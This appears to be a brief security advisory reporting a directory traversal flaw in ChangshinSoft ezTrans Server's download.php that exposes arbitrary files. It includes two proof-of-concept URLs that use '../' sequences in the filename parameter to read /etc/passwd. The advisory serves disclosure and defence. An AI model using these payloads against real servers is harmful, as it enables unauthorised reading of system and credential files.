source: https://www.securityfocus.com/bid/8155/info

It has been reported that a problem in ChangshinSoft ezTrans Server exists in the download.php script that may allow an attacker to view arbitrary files. This may result in the disclosure of potentially sensitive information.

http://www.example.com/question/crm/download.php?filename=../../../../../../../../../../../../etc/passwd

http://www.example.com/download.php?filename=../../../../../../../../../../../../../etc/passwd